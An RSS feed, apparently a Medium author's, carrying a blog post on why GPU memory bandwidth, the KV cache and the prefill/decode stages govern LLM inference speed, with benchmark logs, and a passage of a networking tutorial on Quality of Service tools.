<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Maverick on Medium]]></title>
        <description><![CDATA[Stories by Maverick on Medium]]></description>
        <link>https://medium.com/@M4verick?source=rss-bb940cf519a7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*L4Ou0538NZvIWrrK</url>
            <title>Stories by Maverick on Medium</title>
            <link>https://medium.com/@M4verick?source=rss-bb940cf519a7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 03:56:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@M4verick/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Why a Bigger GPU Doesn’t Always Mean Faster AI Inference]]></title>
            <link>https://medium.com/@M4verick/why-a-bigger-gpu-doesnt-always-mean-faster-ai-inference-c763ecbbdae0?source=rss-bb940cf519a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/c763ecbbdae0</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[inference]]></category>
            <category><![CDATA[large-language-models]]></category>
            <category><![CDATA[gpu]]></category>
            <dc:creator><![CDATA[Maverick]]></dc:creator>
            <pubDate>Mon, 23 Nov 2026 18:35:51 GMT</pubDate>
            <atom:updated>2026-11-23T18:49:47.574Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CJc--IndwsVhI1933ZlrbA.jpeg" /></figure><p><em>Understanding GPU compute, memory bandwidth, prefill, decode, and the hidden economics of running large language models.</em></p><p>Imagine running a restaurant with twenty highly skilled chefs.</p><p>The kitchen has excellent equipment, enough space, and plenty of people ready to prepare meals. But there is one problem: ingredients arrive too slowly.</p><p>The chefs spend more time waiting than cooking.</p><p>Now imagine another restaurant with fewer chefs but a much more efficient supply chain. Ingredients arrive exactly when needed, and the kitchen operates continuously.</p><p>Which restaurant serves customers faster?</p><p>The answer isn’t necessarily the one with more chefs.</p><p>This is a useful way to understand an often-overlooked aspect of AI inference: <strong>a GPU’s computational power does not tell the whole story about how quickly it can generate tokens.</strong></p><p>A GPU can have impressive TFLOPS specifications and substantial VRAM capacity yet still struggle to deliver the inference performance you expect.</p><p>To understand why, we need to look beyond compute capacity and examine memory bandwidth, model weights, attention, and the two major stages of LLM inference.</p><h3>1. Compute capacity versus memory bandwidth</h3><p>When comparing GPUs for AI inference, two specifications deserve particular attention.</p><p><strong>Compute capacity</strong> describes how quickly a GPU can execute mathematical operations. It is commonly expressed in FLOPS or TFLOPS.</p><p><strong>Memory bandwidth</strong> describes how quickly data can be transferred between GPU memory and the GPU’s processing hardware. It is commonly expressed in GB/s.</p><p>Using our restaurant analogy:</p><ul><li>Compute capacity represents how many chefs are available to prepare meals.</li><li>Memory bandwidth represents how quickly ingredients reach the kitchen.</li><li>Model weights and other inference data represent the ingredients.</li></ul><p>Having more chefs does not guarantee faster service if the ingredients cannot arrive quickly enough.</p><p>The same principle applies to GPUs.</p><p>If a workload is compute-bound, the GPU’s mathematical processing capacity is the limiting factor.</p><p>If it is memory-bandwidth-bound, the processing units may spend significant time waiting for data.</p><p>This distinction becomes particularly important during autoregressive token generation.</p><h3>2. Why prefill and decode behave differently</h3><p>LLM inference is commonly divided into two stages: <strong>prefill</strong> and <strong>decode</strong>.</p><p>Although both stages use the same model, their computational characteristics are different.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hR-MkM32tYjBDxrLOvCHzw.jpeg" /><figcaption>A simple diagram showing PREFILL → KV CACHE → DECODE. Show prefill processing multiple prompt tokens and decode generating one token per sequential step.</figcaption></figure><h3>Prefill: processing the prompt</h3><p>When you submit a prompt to an LLM, the model must process the input tokens.</p><p>This is the prefill stage.</p><p>The model processes many prompt positions through its layers, performing substantial matrix operations. These operations can be parallelized across input positions.</p><p>Because many tokens are processed together, prefill can make substantial use of the GPU’s computational capacity.</p><p>Its performance is influenced by:</p><ul><li>Prompt length.</li><li>Model architecture.</li><li>Matrix-operation efficiency.</li><li>Available GPU compute.</li><li>Memory bandwidth.</li><li>Attention implementation.</li></ul><h3>Decode: generating the response</h3><p>After processing the prompt, the model begins generating output tokens.</p><p>This is the decode stage.</p><p>Unlike prefill, autoregressive generation proceeds sequentially: the next token depends on the preceding generation step.</p><p>At low batch sizes, the GPU repeatedly accesses model weights to calculate each new token. The mathematical work for an individual sequence position may not be sufficient to keep all GPU compute resources busy.</p><p>Consequently, decode can become heavily memory-bandwidth-bound.</p><p>This is why a GPU with greater computational capacity does not necessarily deliver a proportional improvement in single-request token generation.</p><p>Importantly, decode is not always memory-bandwidth-bound. Larger batches, longer contexts, model architecture, and optimized kernels can change the bottleneck.</p><h3>3. The role of model weights and KV cache</h3><p>There are two important sources of data movement during inference.</p><h3>Model weights</h3><p>Model weights contain the learned parameters of the neural network.</p><p>During decode, the model repeatedly uses these weights to calculate the next token.</p><p>For a large model, the weight data can be substantial. At low batch sizes, repeatedly accessing this data can place considerable pressure on memory bandwidth.</p><h3>KV cache</h3><p>The KV cache stores previously computed key and value representations used by attention.</p><p>Without a KV cache, the model would need to recompute historical key and value representations during subsequent generation steps.</p><p>Instead, it stores and reuses them.</p><p>The cache grows as additional tokens are processed, and its memory requirements depend on factors such as:</p><ul><li>These five parameters define how much memory an LLM’s <strong>KV (key-value) cache</strong> uses during inference. The total KV cache size (in bytes) for a single sequence is: [<a href="https://tensormesh.ai/learn/kv-cache-calculator/">1</a>, <a href="https://contextwindowvramcalculator.com/">2</a>]</li><li>\(\text{KV\ Cache\ Size}=2\times L\times C\times H_{\text{kv}}\times D_{h}\times P_{\text{bytes}}\)</li><li><strong>Number of attention layers (L):</strong> Each transformer decoder layer stores its own key and value tensors, so cache memory scales linearly with layer count. [<a href="https://techcommunity.microsoft.com/blog/educatordeveloperblog/the-hidden-memory-architecture-of-llms/4485367">1</a>, <a href="https://www.youtube.com/watch?v=TvRqn9sASvU">2</a>]</li><li><strong>Context length ©:</strong> The number of tokens in the sequence. Each additional token appends new key and value vectors, growing the cache linearly (O(n)). [<a href="https://packet.ai/blog/what-is-kv-cache-cross-model-transfer">1</a>, <a href="https://tensormesh.ai/learn/kv-cache-calculator/">2</a>, <a href="https://techcommunity.microsoft.com/blog/educatordeveloperblog/the-hidden-memory-architecture-of-llms/4485367">3</a>]</li><li><strong>Number of key-value heads (\(H_{\text{kv}}\)):</strong> The number of key and value heads stored per layer. Under Grouped-Query Attention (GQA) or Multi-Query Attention (MQA), use the KV head count rather than the query head count. [<a href="https://www.youtube.com/watch?v=_pWigIleZNs">1</a>, <a href="https://x.com/_avichawla/status/2096491130489872479">2</a>, <a href="https://tensormesh.ai/learn/kv-cache-calculator/">3</a>]</li><li><strong>Head dimension (\(D_{h}\)):</strong> The vector size of each individual attention head. Larger dimensions mean larger key and value vectors per head per token. [<a href="https://mbrenndoerfer.com/writing/kv-cache-transformer-attention-optimization/cache-memory-requirements">1</a>, <a href="https://www.youtube.com/watch?v=TvRqn9sASvU">2</a>]</li><li><strong>Cache precision (\(P_{\text{bytes}}\)):</strong> The byte size of each stored value — typically <strong>2 bytes</strong> for FP16/BF16, <strong>1 byte</strong> for FP8/INT8, <strong>4 bytes</strong> for FP32, or <strong>0.5 bytes</strong> for idealized 4-bit quantization. [<a href="https://contextwindowvramcalculator.com/">1</a>]</li></ul><p>This is particularly important for long-context inference.</p><p>A larger context can increase memory consumption and attention-related data movement.</p><p>However, model weights and KV cache are not the same thing. Optimizing one does not automatically optimize the other.</p><h3>4. Why KV-cache quantization can help</h3><p>One optimization I investigated was reducing KV-cache precision.</p><p>In my baseline Qwen experiment, the cache used FP16. In the optimized experiment, it used Q8_0 for both keys and values.</p><p>The idea is straightforward: represent the cached values using fewer bits, reducing the memory required to store them and potentially reducing the amount of cache data moved during attention.</p><p>But there is an important distinction:</p><p><strong>KV-cache quantization reduces KV-cache storage requirements and can reduce cache memory traffic. It does not directly reduce model-weight traffic.</strong></p><p>The actual performance improvement depends on how much of the workload is affected by KV-cache traffic, the implementation of quantized attention kernels, and the overhead associated with quantization and dequantization.</p><p>Q8_0 also has block metadata, so its storage is not exactly one byte per value.</p><p>This is why an optimization should be measured rather than assumed to provide a fixed percentage improvement.</p><h3>5. Understanding the Roofline model</h3><p>The Roofline model provides a useful way to reason about the relationship between compute and memory bandwidth.</p><p>Its central concept is <strong>arithmetic intensity</strong>.</p><p>Arithmetic intensity measures how much computation is performed relative to the amount of data transferred.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*xKKRtQ7zbJ6UN5dcgYYDZA.png" /></figure><p>A workload with high arithmetic intensity performs more computation for each byte moved.</p><p>A workload with low arithmetic intensity moves relatively more data for each operation.</p><p>The <strong>simplified Roofline performance model</strong></p><p>(\(P_{\text{attainable}} = \min(P_{\text{peak}}, BW \times AI)\)).</p><p>This model identifies the maximum theoretical performance a processor can achieve for a given workload by comparing two fundamental hardware bottlenecks:</p><ul><li><strong>\(P_{\text{attainable}}\) (Attainable Performance):</strong> The maximum speed your code can realistically reach on the hardware, typically measured in <strong>FLOP/s</strong> (floating-point operations per second).</li><li><strong>\(P_{\text{peak}}\) (Peak Compute Performance):</strong> The absolute maximum compute throughput of the processor (the flat “roof” of the chart), also in <strong>FLOP/s</strong>.</li><li><strong>BW (Memory Bandwidth):</strong> The maximum rate at which data can be moved between main memory (like DRAM or HBM) and the processor’s compute units, measured in <strong>Bytes/s</strong>.</li><li><strong>AI (Arithmetic Intensity):</strong> A property of your specific algorithm or kernel, calculated as the ratio of total floating-point operations to total bytes transferred from memory (<strong>FLOPs / Byte</strong>).</li></ul><p>How the Equation Works</p><p>Because of the \(\min()\) function, your workload falls into one of two regimes:</p><ol><li><strong>Memory-Bound (\(BW \times AI &lt; P_{\text{peak}}\)):</strong> Your algorithm performs too few calculations per byte of data fetched. The processor stalls waiting for memory, so performance scales linearly with arithmetic intensity along the slanted slope (BW × AI).</li><li><strong>Compute-Bound (\(BW \times AI \ge P_{\text{peak}}\)):</strong> Your algorithm reuses data enough times in cache/registers that memory transfer is no longer the bottleneck. Performance hits the flat ceiling (\(P_{\text{peak}}\)).</li></ol><p>The point where the two terms are equal (\(AI = \frac{P_{\text{peak}}}{BW}\)) is known as the <strong>ridge point</strong> — the minimum arithmetic intensity required to reach peak hardware performance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*hJV5_HEsLLXqCExiELAsZg.png" /><figcaption>Roofline performance model diagram showing the compute ceiling, memory-bandwidth slope, and arithmetic intensity</figcaption></figure><p>Consider an illustrative GPU with:</p><ul><li>Peak compute: 100 TFLOPS.</li><li>Memory bandwidth: 600 GB/s.</li><li>Arithmetic intensity: 50 FLOPs per byte.</li></ul><p>The bandwidth-imposed compute ceiling is:</p><p>[<br>600 \times 50 = 30,000\ \text{GFLOPS}<br>]</p><p>Therefore:</p><p>[<br>P_{\text{attainable}} = \min(100,30)<br>= 30\ \text{TFLOPS}<br>]</p><p>Although the GPU has a theoretical compute capacity of 100 TFLOPS, this particular workload is limited to an estimated 30 TFLOPS by its memory bandwidth.</p><p>This is an illustrative calculation, not a prediction of actual application performance.</p><p>The important lesson is that the GPU’s theoretical compute specification is not necessarily the performance ceiling that matters for a particular workload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*UB7XKNKg91SDRKtfeUZXvQ.png" /><figcaption>Roofline performance model diagram showing the compute ceiling, memory-bandwidth slope, and arithmetic intensity</figcaption></figure><h3>6. What my inference experiments revealed</h3><p>To connect these concepts with practical engineering, I examined two Qwen inference configurations and a separate Gemma hardware comparison.</p><h3>The First Rule of Inference Benchmarks</h3><p>When developers begin learning AI inference architecture, they typically evaluate GPUs by two superficial numbers: <strong>Model Parameter Size</strong> and <strong>Nominal VRAM Capacity</strong>.</p><p>However, real-world inference systems are governed by memory bandwidth, caching precision, and attention implementations. Above all:</p><blockquote>IMPORTANT</blockquote><blockquote><strong>A benchmark is only meaningful when you know what changed between the experiments.</strong> If multiple variables move simultaneously, observing a performance increase proves that the configurations performed differently — it does not prove which variable caused the gain.</blockquote><h3>Experiments A &amp; B: Qwen-3.8–27B Inference Profile</h3><p>The second configuration reported higher prefill and decode throughput.</p><p>However, this is not a controlled GPU comparison.</p><p>Several variables changed simultaneously:</p><ul><li>KV-cache precision changed from FP16 to Q8_0.</li><li>Flash Attention was enabled.</li><li>Context capacity changed from 4,096 to 8,192.</li><li>Hardware allocation was not held constant.</li></ul><p>The reported decode throughput increased from 20.44 to 26.83 tokens/s.</p><p>That is approximately a 31.3% increase, calculated from the reported measurements.</p><p>But it would be incorrect to attribute that entire difference to KV-cache quantization, Flash Attention, or a GPU upgrade.</p><p>The experiments demonstrate that the combined configuration performed differently. They do not isolate the contribution of each individual optimization.</p><p>That distinction matters when publishing engineering findings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJflVAbgL-FKdUKi4_I8mg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gns2WWt-lPJGuu3stKzAzQ.png" /></figure><h3>WARNING</h3><blockquote><strong>The Confounded Variable Trap:</strong> Notice that reported decode throughput increased by <strong>+31.3%</strong> (from 20.44 to 26.83 tok/s). However, because KV cache precision (FP16 → Q8_0), Attention implementation (Standard → Flash Attention), and Context length (4K → 8K) all shifted together, this data cannot be claimed as a pure “A10G vs L4” or pure “FP16 vs Q8_0” measurement.</blockquote><p>A common beginner misconception is assuming that two 24 GB GPUs will produce identical inference speed.</p><p>Testing Gemma 4 E4B (Q8_0 GGUF, 8.03 GB) across two different 24 GB accelerators exposes the reality:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ex0AqskUM8nyVaKPcNfAuA.png" /></figure><h3>Why Memory Bandwidth Dominates Decode Generation</h3><ul><li><strong>Prefill Phase (Prompt Evaluation):</strong> Compute-bound (O(N2)O(N²)O(N2) or tensor matrix multiplication). Both GPUs ingest prompt tokens efficiently.</li><li><strong>Decode Phase (Autoregressive Token Generation):</strong> Memory-bandwidth bound. To produce a single token, all model weights and KV states must be streamed from VRAM through the memory bus. Because the A10G features approximately double the memory bandwidth of the L4, its decode throughput is substantially higher despite the identical 24 GB capacity.</li></ul><h3>Experiment C: Silicon Architecture Comparison (Gemma 4 E4B)</h3><p>I also examined a separate experiment involving Gemma 4 E4B with Q8_0 GGUF weights.</p><p>MetricNVIDIA L4 24 GBNVIDIA A10G 24 GBPrefill260.05 tok/s354.94 tok/sDecode44.45 tok/s73.72 tok/s</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ir-6ohVEReDT8Fc4qUkX3A.png" /></figure><p>This comparison is interesting because it shows that two GPUs with the same nominal VRAM capacity can produce substantially different reported inference throughput.</p><p>However, these results should be treated as observations from the reported test configurations, not universal GPU rankings. Reproducibility requires confirming that the model revision, runtime, context, batch settings, attention implementation, workload and measurement procedure were equivalent.</p><p>The comparison also reinforces why identifying the actual GPU matters.</p><p>AWS instance families have different hardware mappings. G5 is associated with NVIDIA A10G GPUs, while G6 uses NVIDIA L4 GPUs. The actual device should be confirmed from the live runtime rather than inferred from an ambiguous fleet description.</p><p>A CUDA device enumeration log is useful evidence:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DwCsVgyNy-Be9RKW-cSCOQ.png" /></figure><pre>[srv load_model]  ggml_cuda_init: found 1 CUDA devices:<br>  &gt;&gt; Device 0: NVIDIA A10G, compute capability 8.6, VRAM: 22888 MiB, PCI: 00:1e.0<br>[srv init]        kv_cache = Q8_0, context_size = 8192, flash_attn = 1</pre><p>or:</p><pre>[container]       CUDA0 : NVIDIA L4 (22563 MiB usable VRAM, 22369 MiB free)<br>[container]       CPU   : AMD EPYC 7R13 24-Core Processor<br>[WARN]            Hypervisor allocated NVIDIA L4 rather than nominal A10G silicon!</pre><p>The hardware you actually received is more important than the hardware you assumed you requested.</p><h3># Benchmark Report: Dissecting Inference Architecture &amp; KV-Cache Dynamics</h3><p>### 1. Controlled Telemetry Snapshot</p><p>```text<br>========================================================================================<br>[EXPERIMENT 1: BASELINE INFERENCE PROFILE]<br>- Target Model: Qwen-3.8–27B (Q4_K_M GGUF, ~17.2 GB weights)<br>- Host Hardware: AWS EC2 g5.2xlarge (NVIDIA A10G 24GB, PCIe 4.0, Ampere AD102)<br>- Engine &amp; Driver: llama.cpp (CUDA 12.4, Host RAM Prompt Cache: 8192 MiB)<br>- Context Window: 4,096 tokens<br>- KV-Cache Format: FP16 (Unquantized, 2.0 bytes/element)<br>- Attention Engine: Standard<br> — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — <br>Prefill Ingestion: 240.0 tokens/s (Prompt latency: 1.478 s for 2,500 tokens)<br>Autoregressive Gen: 20.44 tokens/s (Decode latency: 7.338 s for 150 tokens)<br>========================================================================================</p><p>========================================================================================<br>[EXPERIMENT 2: KV-CACHE OPTIMIZED PROFILE]<br>- Target Model: Qwen-3.8–27B (Q4_K_M GGUF, ~17.2 GB weights)<br>- Host Hardware: AWS EC2 g5.4xlarge / g6 class fleet allocation<br>- Engine &amp; Driver: llama.cpp b9522 with Flash Attention (-fa)<br>- Context Window: 8,192 tokens<br>- KV-Cache Format: Q8_0 Quantized ( — cache-type-k q8_0 — cache-type-v q8_0)<br>- Attention Engine: Flash Attention 2 / GQA<br> — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — <br>Prefill Ingestion: 276.1 tokens/s<br>Autoregressive Gen: 26.83 tokens/s (Approximate decode throughput)<br>VRAM Savings: ~48.5% reduction in KV-cache per-token memory footprint<br>========================================================================================</p><p>========================================================================================<br>[EXPERIMENT 3: ARCHITECTURAL COMPARISON — GEMMA 4 E4B (SWA ARCHITECTURE)]<br>- Target Model: Gemma-4-E4B-it-uncensored (Q8_0 GGUF, 8.03 GB file size)<br>- Hardware Test A: NVIDIA L4 24GB (ml.g6.xlarge, Ada Lovelace AD104)<br> -&gt; Prefill: 260.05 tok/s | Decode: 44.45 tok/s<br>- Hardware Test B: NVIDIA A10G 24GB (g5.xlarge, Ampere GA102)<br> -&gt; Prefill: 354.94 tok/s | Decode: 73.72 tok/s<br>- KV Cache Note: 42 layers total (4 Full Attention + 20 Sliding Window Attention <br> with 512-token window + 18 Shared-KV layers).<br>========================================================================================<br>```</p><p>### 2. Forensic Takeaways for Beginners Learning AI Inference</p><p>1. **Autoregressive Generation is Memory-Bandwidth Bound:**<br> During the generation phase (decode), the model generates one token at a time. The weights and KV cache must pass through GPU memory buses every step. Quantizing the KV cache (e.g., from FP16 to Q8_0) reduces byte traffic across the memory bus, yielding an immediate speedup independent of GPU compute TFLOPS.</p><p>2. **The Fallacy of Confounded Benchmarks:**<br> Comparing 20.44 tokens/s directly to 26.83 tokens/s as an “A10G performance delta” is fundamentally flawed because three variables moved simultaneously:<br> — KV Cache Quantization: FP16 -&gt; Q8_0<br> — Attention Kernel: Standard -&gt; Flash Attention<br> — Context Capacity: 4,096 -&gt; 8,192</p><p>3. **Verify the Physical Silicon:**<br> Cloud orchestrators and hypervisors do not always match consumer intuition. Requesting an AWS G5 class endpoint (traditionally A10G) can map to L4-class hardware depending on region and availability pool. Always inspect the live CUDA device enumeration log (`CUDA0 : NVIDIA L4` vs `NVIDIA A10G`) before publishing performance findings.</p><p><strong>Production Engineering Rule:</strong> Never benchmark an assumed GPU. Always log and inspect the physical device enumeration (CUDA0 : ...) at process startup.</p><h3>7. What should we measure before upgrading a GPU?</h3><p>A useful inference benchmark should measure more than tokens per second.</p><p>The following metrics help distinguish different aspects of performance:</p><p>MetricWhat it tells usTTFTTime to first token; initial responsivenessITLInter-token latency; streaming responsivenessDecode TPSOutput generation throughputPrefill TPSPrompt processing throughputGPU memory usageHow much VRAM the workload consumesGPU utilizationHow actively the GPU is being usedKV-cache allocationMemory consumed by attention caching</p><p>Under consistent measurement boundaries, decode TPS is approximately the inverse of inter-token latency:</p><p>[<br>TPS_{\text{decode}} \approx \frac{1}{ITL}<br>]</p><p>For example, an inter-token latency of 50 milliseconds corresponds to approximately 20 tokens per second.</p><p>These metrics should be interpreted together.</p><p>A model might have excellent prompt processing speed but relatively slow token generation. Another configuration might improve streaming responsiveness while consuming more memory.</p><p>The right configuration depends on the workload.</p><h3>8. The engineering lesson</h3><p>The biggest lesson from these experiments is that GPU selection should not be based on TFLOPS or VRAM capacity alone.</p><p>A larger GPU can provide more compute, more memory, or greater bandwidth, but whether those improvements translate into faster inference depends on the workload’s actual bottleneck.</p><p>Before upgrading hardware, ask:</p><ol><li>Is the workload compute-bound or memory-bandwidth-bound?</li><li>Is the bottleneck occurring during prefill or decode?</li><li>How much memory is consumed by model weights?</li><li>How much memory is consumed by the KV cache?</li><li>Is attention implementation limiting performance?</li><li>Is batching changing weight reuse and arithmetic intensity?</li><li>Are the benchmark configurations genuinely comparable?</li></ol><p>The objective is not simply to find the GPU with the largest specifications.</p><p>It is to identify the hardware and runtime configuration that best match the model and workload.</p><h3>Final thought</h3><p>A powerful GPU is only one part of an efficient inference system.</p><p>Model architecture, quantization, memory bandwidth, attention implementation, batching, context length and runtime configuration all influence performance.</p><p>The more I work with inference infrastructure, the clearer this becomes:</p><p><strong>Optimizing AI inference is not just about buying more computational power. It is about understanding where the time and data actually go.</strong></p><p>This is one of the foundations of building efficient and economically sustainable AI infrastructure.</p><p><em>This article documents my learning and practical inference experiments. Reported benchmark results are identified as observations, not universal hardware claims. Calculations and interpretations are distinguished from directly measured results.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c763ecbbdae0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Awe-Inspiring Iterative Dance of QoS Design]]></title>
            <link>https://medium.com/@M4verick/the-awe-inspiring-iterative-dance-of-qos-design-aedce49de0e8?source=rss-bb940cf519a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/aedce49de0e8</guid>
            <dc:creator><![CDATA[Maverick]]></dc:creator>
            <pubDate>Wed, 21 May 2025 13:40:04 GMT</pubDate>
            <atom:updated>2025-05-21T13:40:04.878Z</atom:updated>
            <content:encoded><![CDATA[<p>Quality of Service (QoS) refers to tools that network devices can use to manage several related characteristics of what happens to a packet while it flows through a network. QOS refers to the tools that networking devices use to apply some different treatment to packets in the network as they pass through the device; Specifically, these tools manage the bandwidth made available to that type of packet, the delay the packet experiences, the jitter (variation in delay) between successive packets in the same flow, and the percentage of packet loss for packets of each class. These tools balance the trade-offs of which types of traffic receive network resources and when, giving more preference to some traffic and less preference to others.<br>QoS refers to tools that network devices can use to manage several related characteristics of what happens to a packet:<br>* Bandwidth made available to that type of packet.<br>* The Delay the packet experiences (LATENCY).<br>* The Jitter (Variation in delay) between successive packets in the same flow, and the percentage of packet loss for each.<br>Specifically, these tools manage related characteristics of packet classes [types]. These tools balance the trade-off of which types of traffic receive network resources, and when, giving more preference to some traffic and less preference to others.</p><p><strong>Per-Hop Behaviors</strong><br>QoS tools define actions a device can apply to a packet between the time it enters the device until it exits the device. Such actions can delay, discard, or even change header fields. QoS defines these actions as per-hop behaviors (<strong>PHBs</strong>), which is a formal term to refer to actions other than storing and forwarding a packet. These actions can delay the message, discard it, or even change header fields. The device can choose different PHBs for different kinds of messages, improving the QoS behavior for some messages, while worsening the QoS behavior for others. QoS tools change the QoS characteristics of certain flows in the network. <br>Common for per-hop behaviors for QoS include classification, marking, queuing, policing, and shaping.<br>Overall, QoS refers to the tools that devices apply to serve differential treatment to packets as they traverse the network.</p><p><strong>QOS TOOLS give you the means to manage characteristics of Network Traffic: such as Bandwidth, Delay(Latency), Jitter and Loss.</strong><br>* <strong>BANDWIDTH</strong>: Capacity usage of the link. Bandwidth refers to the speed of a link, in bits per second (bps). But while we think of bandwidth as speed, it helps to also think of bandwidth as the capacity of the link, in terms of how many bits can be sent over the link per second. The networking device’s QoS tools determine what packet is sent over the link next, so the networking device is in control of which messages get access to the bandwidth next and how much of that bandwidth (capacity) each type of traffic gets over time.<br>* <strong>DELAY (LATENCY)</strong>: Time Taken for one-way / Round-trip. Delay can be described as one-way delay or round-trip delay. One-way delay refers to the time between sending one packet and that same packet arriving at the destination host. Round-trip delay counts the one-way delay plus the time for the receiver of the first packet to send back a packet — in other words, the time it takes to send one packet between two hosts and receive one back.<br>* <strong>JITTER</strong>: Variation in successive one-way Delay/Latency. Jitter refers to the variation in one-way delay between consecutive packets sent by the same application<br>* <strong>LOSS</strong>: Percentage of lost packets during transmission. Loss refers to the number of lost messages, usually as a percentage of packets sent. Loss can be caused by many factors, but often, people think of loss as something caused by faulty cabling or poor WAN services. That is one cause. However, more loss happens because of the normal operation of the networking devices, in which the devices’ queues get too full, so the device has nowhere to put new packets, and it discards the packet.</p><p>Several QoS tools manage queuing systems to help control and avoid loss. While QoS tools focus on managing bandwidth, delay, jitter, and loss, the user mainly cares about the quality of the overall experience, So, as a user, you care about the <strong>Quality of Experience (QoE)</strong>, which is a term referring to users’ perception of their use of the application on the network. QoS tools directly impact bandwidth, delay, jitter, and loss, which then should have some overall good effect to influence the users’ QoE. And you can use QoS tools to create a better QoE for more important traffic.</p><p><strong>Types of Traffic</strong><br>1. <strong>Interactive Data Applications:</strong> i.e Web Traffic<br>2. <strong>Non-Interactive / Batch Applications: </strong>This includes data backup or file transfers, which have different QoS Requirements than Interactive Data Applications like Web traffic. Batch Applications send out more data than Interactive Applications but due to less interaction from the user, delay &amp; jitter do not matter much, because it’s more important for these apps to complete the larger task (e.g., sending many files) within a longer time window.<br>3.<strong> Voice and Video Applications:</strong> Both Applications have similar breakdown of Interactive &amp; Non-Interactive “Flows.”<br>A Flow is all the data moving from one application to another over the network, with one flow for each direction.<br>However, Interactive Voice QoS requires a much better level of quality regarding delay, jitter, and loss → less delay, little or less jitter, and better/ ideally no packet loss. <br><strong><em>Cisco’s Enterprise QoS Solution Reference Network Design Guide suggests the following guidelines for Interactive Voice Applications:</em></strong><br>* Delay (one-way): 150 ms or less<br>* Jitter: 30 ms or less<br>* Loss: 1% or less<br>Think of Video like Voice but with a much higher bandwidth requirements than Voice (per flow) &amp; similar requirements for Delay, Jitter, and loss. As for Bandwidth, video can use a variety of codecs that impact the amount of data sent, but more technical features impact the amount of bandwidth required for a single video data flow are: Image Resolution (no. of pixels) + Color Depth (RGB) + Frame Rate (FPS).<br><strong><em>End-to-End QoS Network Design Guide for Video Applications:</em></strong><br>* Bandwidth: 384 kbps → 20+ Mbps<br>* Delay (one-way): 200–400ms<br>* Jitter: 30–50ms<br>* Loss: 0.1% — 1%</p><p><strong>Categories of QOS tool functionalities</strong></p><p><strong>Classification</strong>” refers to a type of QoS tool that classifies packets based on their header contents, and then marks the message by changing some bits in specific header fields. Thereby marking the packets and defining trust boundaries. Every QoS tool can examine various headers to make comparisons to classify packets. However, you might apply QoS tools on most every device in the network, sometimes at both ingress and egress on most of the interfaces. Using complex matching of many header fields in every device and on most interfaces requires lots of configuration. The work to match packets can even degrade device performance of some devices. So, while you could have every device use complex packet matching, doing so is a poor strategy. A better strategy, one recommended both by Cisco and by RFCs, suggests doing complex matching early in the life of a packet and then marking the packet. Marking means that the QoS tool changes one or more header fields, setting a value in the header. Several header fields have been designed for the purpose of marking the packets for QoS processing. Then, devices that process the packet later in its life can use much simpler classification logic.<br>Classification: Organizes network traffic into traffic classes (categories). To give priority to certain types of traffic, you have to identify which types of traffic to give priority to. Methods of classification include:<br><strong> * An Access Control List (ACL):</strong> Traffic which is permitted by the ACL will be given certain treatment.<br><strong> * Network Based Application Recognition (NBAR):</strong> Performs a deep packet inspection looking beyond Layer 3/4 up to Layer 7 to identify the specific kind of traffic. In Layer 2/3 headers.<br> * <strong>PCP (Priority Code Point) field of the Ethernet — 802.1Q tag</strong>: Only when there’s a dot1Q tag, Class of Service (CoS)<br> *<strong> DSCP (Differentiated Services Code Point) field of the IP Header:</strong> Can be used to prioritize traffic.<br> * <strong>TID header (exists in 802.11) </strong>over Wi-Fi<br> * <strong>EXP Header (MPLS label)</strong> over MPLS WAN</p><p><strong>Marking: IP DSCP and Ethernet CoS</strong><br>QoS Tools are set in the path that packets take when being forwarded through a Router/Switch, much like the positioning of ACLs. QoS tools like ACLs, are enabled on an interface, in a specified direction:<br>* Packets entering the Interface (before the forwarding decision) [for any packet matched by an ACL, not a permit action, consider that packet a match for QoS, so apply a particular QoS Action].<br>* Packets exiting the Interface (after the forwarding decision).<br>ACLs can have the purpose (action) of choosing which packet to discard by performing Classification (matching of header fields) to decide which packet to take certain QoS actions against.</p><p><strong>The purpose of Marking: </strong>Using complex matching of many header fields in every device on one or more interfaces (Ingress -&gt; Egress) requires lots of configurations. While it could have every device use complex packet matching, this is a poor strategy. A better strategy recommended by both Cisco &amp; RFCs suggests doing complex matching only in the early life of a packet, and then marking the packet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7dv-BHSYbxfHMaYOU9tp8w.png" /></figure><p>“<strong>Marking</strong>” means that the QoS Tool changes one or more header fields, setting a value in a header. Several header fields have been designed for the purpose of marking the packets for QoS processing. Then, devices that process the packet later in its life can use much simpler matching.</p><figure><img alt="" 